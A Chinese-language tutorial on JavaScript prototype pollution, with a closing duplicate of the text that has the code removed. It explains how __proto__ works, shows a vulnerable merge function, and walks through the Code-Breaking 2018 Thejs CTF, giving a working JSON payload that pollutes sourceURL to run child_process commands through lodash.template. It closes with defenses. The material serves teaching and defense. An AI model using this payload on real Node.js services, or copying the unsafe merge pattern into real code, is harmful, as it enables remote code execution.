深入理解JavaScript Prototype污染攻击
字数 1398 2025-08-18 11:38:28

JavaScript Prototype 污染攻击详解

1. Prototype 和 proto 基础

1.1 构造函数与原型

在 JavaScript 中,类是通过构造函数定义的:

function Foo() {
    this.bar = 1
}
new Foo()

1.2 方法定义的问题

直接在构造函数中定义方法会导致每次实例化都创建新方法:

function Foo() {
    this.bar = 1
    this.show = function() {
        console.log(this.bar)
    }
}
(new Foo()).show()

1.3 使用 Prototype 优化

通过原型定义方法,所有实例共享同一方法:

function Foo() {
    this.bar = 1
}
Foo.prototype.show = function show() {
    console.log(this.bar)
}
let foo = new Foo()
foo.show()

1.4 proto 属性

实例通过 __proto__ 访问类的原型:

foo.__proto__ == Foo.prototype

关键点总结

  • prototype 是类的属性,包含所有实例共享的属性和方法
  • __proto__ 是实例属性,指向其类的 prototype
  • 每个构造函数都有一个原型对象
  • JavaScript 使用 prototype 链实现继承机制

2. 原型链继承机制

2.1 继承示例

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}
function Son() {
    this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
// 输出: Name: Melania Trump

2.2 属性查找机制

对于对象 son 调用 son.last_name 时:

  1. son 对象中寻找 last_name
  2. 找不到则在 son.__proto__ 中寻找
  3. 继续在 son.__proto__.__proto__ 中寻找
  4. 直到找到 null 结束(Object.prototype.__proto__null

3. 原型链污染原理

3.1 污染示例

let foo = {bar: 1}
foo.__proto__.bar = 2  // 修改Object原型
let zoo = {}
console.log(zoo.bar)   // 输出: 2

原理:通过修改实例的原型,实际上修改了其类(这里是 Object)的原型,影响所有同类实例。

4. 污染触发条件

4.1 关键操作

能够控制对象键名的操作可能触发原型链污染:

  1. 对象 merge(合并)
  2. 对象 clone(克隆)

4.2 Merge 函数示例

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

4.3 污染实验

直接赋值无法污染:

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b) // 1 undefined
let o3 = {}
console.log(o3.b)       // undefined

通过 JSON 解析可实现污染:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b) // 1 2
let o3 = {}
console.log(o3.b)       // 2

关键区别

  • 直接对象字面量中 __proto__ 被视为原型
  • JSON 解析时 __proto__ 被视为普通键名

5. 实际案例:Code-Breaking 2018 Thejs

5.1 漏洞代码

const lodash = require('lodash')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }
    res.render('index', {
        language: data.language,
        category: data.category
    })
})

5.2 漏洞利用链

  1. 通过 lodash.merge 污染原型
  2. 污染 Object.prototype 添加任意属性
  3. 影响 lodash.template 函数:
// lodash.template 内部代码片段
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n'
var result = attempt(function() {
    return Function(importsKeys, sourceURL + 'return ' + source)
        .apply(undefined, importsValues)
})

5.3 利用方式

发送包含恶意 __proto__ 的 JSON 数据:

{
    "__proto__": {
        "sourceURL": "\nconsole.log(process.mainModule.require('child_process').execSync('id').toString())\n//"
    }
}

5.4 漏洞原理

  1. merge 操作将 sourceURL 注入到 Object.prototype
  2. lodash.template 检查 options.sourceURL 时从原型链获取恶意值
  3. 恶意代码被拼接到 Function 构造函数中执行

6. 防御措施

  1. 冻结原型

    Object.freeze(Object.prototype)
    
  2. 使用无原型对象

    Object.create(null)
    
  3. 检查键名

    function safeMerge(target, source) {
        for (let key in source) {
            if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
                continue
            }
            target[key] = source[key]
        }
    }
    
  4. 使用新版 Lodash(已修复此问题)

  5. 避免不安全的递归合并,使用浅拷贝或可控的深拷贝

7. 总结

Prototype 污染是 JavaScript 特有的安全问题,利用 JavaScript 灵活的原型链机制,通过修改原型对象影响所有相关实例。关键在于:

  1. 理解 prototype__proto__ 的关系
  2. 识别能够控制对象键名的操作(如 merge、clone)
  3. 了解 JSON 解析与对象字面量的区别
  4. 实际应用中,关注库函数(如 Lodash)的原型污染风险

防御重点在于严格控制原型修改,特别是在处理用户可控的对象属性时。

JavaScript Prototype 污染攻击详解 1. Prototype 和 proto 基础 1.1 构造函数与原型 在 JavaScript 中,类是通过构造函数定义的: 1.2 方法定义的问题 直接在构造函数中定义方法会导致每次实例化都创建新方法: 1.3 使用 Prototype 优化 通过原型定义方法,所有实例共享同一方法: 1.4 proto 属性 实例通过 __proto__ 访问类的原型: 关键点总结 : prototype 是类的属性,包含所有实例共享的属性和方法 __proto__ 是实例属性,指向其类的 prototype 每个构造函数都有一个原型对象 JavaScript 使用 prototype 链实现继承机制 2. 原型链继承机制 2.1 继承示例 2.2 属性查找机制 对于对象 son 调用 son.last_name 时: 在 son 对象中寻找 last_name 找不到则在 son.__proto__ 中寻找 继续在 son.__proto__.__proto__ 中寻找 直到找到 null 结束( Object.prototype.__proto__ 是 null ) 3. 原型链污染原理 3.1 污染示例 原理 :通过修改实例的原型,实际上修改了其类(这里是 Object )的原型,影响所有同类实例。 4. 污染触发条件 4.1 关键操作 能够控制对象键名的操作可能触发原型链污染: 对象 merge(合并) 对象 clone(克隆) 4.2 Merge 函数示例 4.3 污染实验 直接赋值无法污染: 通过 JSON 解析可实现污染: 关键区别 : 直接对象字面量中 __proto__ 被视为原型 JSON 解析时 __proto__ 被视为普通键名 5. 实际案例:Code-Breaking 2018 Thejs 5.1 漏洞代码 5.2 漏洞利用链 通过 lodash.merge 污染原型 污染 Object.prototype 添加任意属性 影响 lodash.template 函数: 5.3 利用方式 发送包含恶意 __proto__ 的 JSON 数据: 5.4 漏洞原理 merge 操作将 sourceURL 注入到 Object.prototype lodash.template 检查 options.sourceURL 时从原型链获取恶意值 恶意代码被拼接到 Function 构造函数中执行 6. 防御措施 冻结原型 : 使用无原型对象 : 检查键名 : 使用新版 Lodash (已修复此问题) 避免不安全的递归合并 ,使用浅拷贝或可控的深拷贝 7. 总结 Prototype 污染是 JavaScript 特有的安全问题,利用 JavaScript 灵活的原型链机制,通过修改原型对象影响所有相关实例。关键在于: 理解 prototype 和 __proto__ 的关系 识别能够控制对象键名的操作(如 merge、clone) 了解 JSON 解析与对象字面量的区别 实际应用中,关注库函数(如 Lodash)的原型污染风险 防御重点在于严格控制原型修改,特别是在处理用户可控的对象属性时。